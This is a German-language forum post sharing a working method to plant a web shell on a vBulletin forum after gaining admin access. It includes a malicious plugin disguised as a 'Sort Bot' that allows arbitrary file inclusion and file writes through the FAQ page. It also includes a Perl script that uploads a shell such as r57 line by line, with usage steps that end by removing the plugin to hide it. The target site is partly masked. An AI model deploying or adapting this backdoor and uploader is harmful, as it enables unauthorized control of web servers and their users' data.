Moin Leutz ich hatte die Nacht folgendes Problem:
Ich hatte Zugang zu einem VBulletin Forum, als Admin und habe versucht eine Shell zu uppen,
Ich hab versch. ausprobiert, hat aber alles nichtgeklappt (Ava upload nicht mögl. da chmod falsch, HTTP-Requests nach aussen werden geblockt afaik kein include), bis ich dann zu dieser Lösung kam:

Warum übergebe ich nicht jede Zeile einzeln, so dass die Shell dennoch geuppt wird, ohne das es schiefgeht.

Ich habe jetzt folgende files "gecoded", :

plugin.xml
Code:
<?xml version="1.0" encoding="ISO-8859-1"?>
<plugins>
        <plugin active="1" executionorder="1" product="seambuster">
                <title>Vbulletin Sort Bot</title>
                <hookname>faq_start</hookname>
                <phpcode><![CDATA[
error_reporting(0);
function hex2str($hex) {
        for($i=0;$i<strlen($hex);$i+=2) {
                $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
}
if(isset($_GET[inc])) {
        include($_GET[inc]);
}
if(isset($_GET[data]) and  isset($_GET[file])) {
        $myFile = $_GET[file];
        $stringData = $_GET[data];
        $newdata = hex2str($stringData)."\n";
        if (!file_exists($myFile)) {
                $our = fopen($myFile, 'w') or die("can't write file");
                fclose($our);
        }
        $fh = fopen($myFile, 'a') or die("can't open file");
        fwrite($fh, $newdata);
        fclose($fh);
}
                 ]]></phpcode>
        </plugin>
</plugins>
shellput.pl
Code:
use LWP::Simple;
use strict;
my @file;
my $count = 0;
my $url = "http://www.*****.de/forum/faq.php?file=/tmp/test.php&data=";

print "[~] VBulletin Shell Upper by newkaiza\n[~] Usage:\n[~] $0 shell.php \n[~] Look in Source!\n";
read_shell($ARGV[0]);
print "[~] Got ".scalar(@file)." Lines to Send....\n";
sleep(2);

foreach(@file) {
        get($url.ascii_to_hex($_));
        $count++;
        print "Wrote $count Line\n";
}

sub ascii_to_hex {
        (my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
        return $str;
}

sub read_shell {
        my $file = shift;
        open( FILE_IN_LOGIN, "$file") or die ("[~] File existiert nicht\n");
        while( defined( my $line = <FILE_IN_LOGIN> ) ) {
                chomp($line);
                push(@file, $line);
        }
        close( FILE_IN_LOGIN );
}
Admin Account ist vorraussetzung !!!!

Kurze Anleitung:
Installiere das Plugin im Admin bereich..... dann gehe auf den FAQ zb
http://127.0.0.1/vb/faq.php

Dann sucht man sich ein Ordner der beschreibbar ist
http://127.0.0.1/vb/faq.php?data=&file=/tmp/test.php
Solange kein Error kommt ist die Datei nun beschreibbar . (Ansonsten kommt "can't write to file")

Nun bearbeitet man das Perl Script :
my $url = "http://127.0.0.1/vb/faq.php?file=/tmp/test.php&data=";
Das ganze abspeichern.

Nun eine Shell deiner Wahl aussuchen (r57 hat test bestanden), und perl script so starten :
perl shellput.pl r57.php
Er gibt dann aus wieviele Zeilen er zu schreiben hat.

Sobald auch dies fertig ist kannst du deine Shell per "http://127.0.0.1/vb/faq.php?inc=/tmp/test.php" erreichen,
jetzt nur noch das plugin entfernen und Schwupps ist die Shell drauf....

Es gibt bestimmt auch noch einfachere Methoden um eine Shell draufzubekommen, aber den Server den ich hatte war so scheisse geconft, das
ich mir was einfallen lassen musste

Gibt mir nen paar Reviews & Feedbacks pls .
Hauste